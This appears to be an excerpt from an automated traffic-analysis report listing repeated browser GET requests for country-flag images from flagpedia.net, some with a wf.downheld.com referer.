Source: global traffic	HTTP traffic detected: GET /data/flags/w20/nl.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/nz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ni.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ne.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ps.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pa.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ng.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kp.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/py.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/mk.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/no.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/om.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pk.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pe.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ph.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pl.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ps.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pt.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/qa.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ro.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/py.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pa.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ru.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/rw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pe.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ph.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lc.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pl.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/pt.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/vc.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/qa.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ro.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ws.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/rw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/st.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sa.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ru.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/vc.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/rs.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/sc.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/lc.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
